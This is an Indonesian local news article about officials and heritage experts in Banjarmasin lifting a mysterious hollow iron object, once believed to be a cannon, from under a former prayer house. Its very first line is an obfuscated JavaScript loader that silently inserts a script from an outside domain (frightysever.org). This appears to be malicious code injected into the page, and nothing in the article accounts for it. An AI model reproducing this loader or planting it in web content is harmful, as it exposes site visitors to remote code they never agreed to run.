(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Benda misterius -sempat disebut meriam kuno- di bawah bekas bangunan langgar Al Hinduan kawasan wisata Siring Menara Pandang Banjarmasin akhirnya berhasil dikeluarkan, Jumat (18/8/2023) siang.
Namun setelah berhasil diangkat, benda tersebut ternyata bukan berbentuk meriam seperti yang disebut warga sekitar selama ini.
Benda bulat berongga yang terbuat dari besi itu diangkat menggunakan alat berat ekskavator sebab ukurannya sangat besar dan berat.
Baca juga: Kualitas Listrik Terbaik PLN saat HUT Ke-78 RI
Proses pengangkatan memerlukan waktu sekitar 30 menit, sebelum akhirnya berhasil diangkat kepermukaan dan dilakukan pembersihan oleh tim Damkar.
Kepala Bidang Kebudayaan Disporabudpar Kota Banjarmasin Zulfaisal mengatakan, benda yang berhasil diangkat tersebut belum dapat dipastikan jenis dan fungsinya untuk apa.
Sebab, bentuknya pendek tidak menyerupai meriam dan terdapat tiga buah lubang.
Baca juga: Kala Para Pejabat di Banjarmasin Ditantang Bikin Pisang Goreng
“Kalau dugaan awal waktu dulu ini meriam karena mungkin ada moncong terlihat, setelah kita gali bendanya seperti itu,” katanya.
Pada proses pengangkatan benda misterius tersebut juga dihadirkan Tim Ahli Cagar Budaya dari Kota Banjarmasin serta sejarawan Kota Banjarmasin.
Hasil diskusi bersama tim ahli, pihaknya belum dapat menyimpulkan jenis benda tersebut, namun masih ada kemungkinan berhubungan dengan meriam.
“Ada kemungkinan ini gundukan meriam,” kata Zulfaisal.
Baca juga: Poktan Nelayan Desa Tumbang Muroi Terima Bantuan 12 Unit Klotok dan Alat Tangkap Ikan
Selain itu, kemungkinan benda tersebut menurutnya adalah sambungan pipa air di zaman dulu, atau bisa jadi bagian dari kapal.
Sementara itu, Mursalin dari Tim Ahli Cagar Budaya kota Banjarmasin juga mengatakan belum dapat mengidentifikasi benda bulat berukuran besar tersebut.
Dirinya membagi menjadi tiga kemungkinan, pertama adalah gundukan meriam, bahan kapal, dan pipa pengairan.
“50 persen bahan kapal, 25 persen gundukan meriam, 25 persen pipa pengairan,” ujarnya.
Baca juga: Penuh Kejutan & Keseruan Rangkaian HUT RCTI34 di Metropolitan Mall Cibubur!
Untuk kemungkinan yang terakhir itu Mursalin melihatnya dari teknologi pengairan yang telah hadir di Banjarmasin pada tahun 1942-1945 masa penjajahan Jepang.
Kemudian menurutnya jika benda tersebut benar adalah gundukan meriam, Mursalin memperkirakan jenisnya adalah meriam statis.
“Sementara mengarah ketiga itu, tapi perlu kami pastikan lagi seperti apa jelasnya,” pungkasnya
Sementara itu, sembari masih dilakukan penelitian mendalam benda tersebut akan diamankan di sekitar lokasi rehab langgar Al Hinduan.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
This website uses cookies.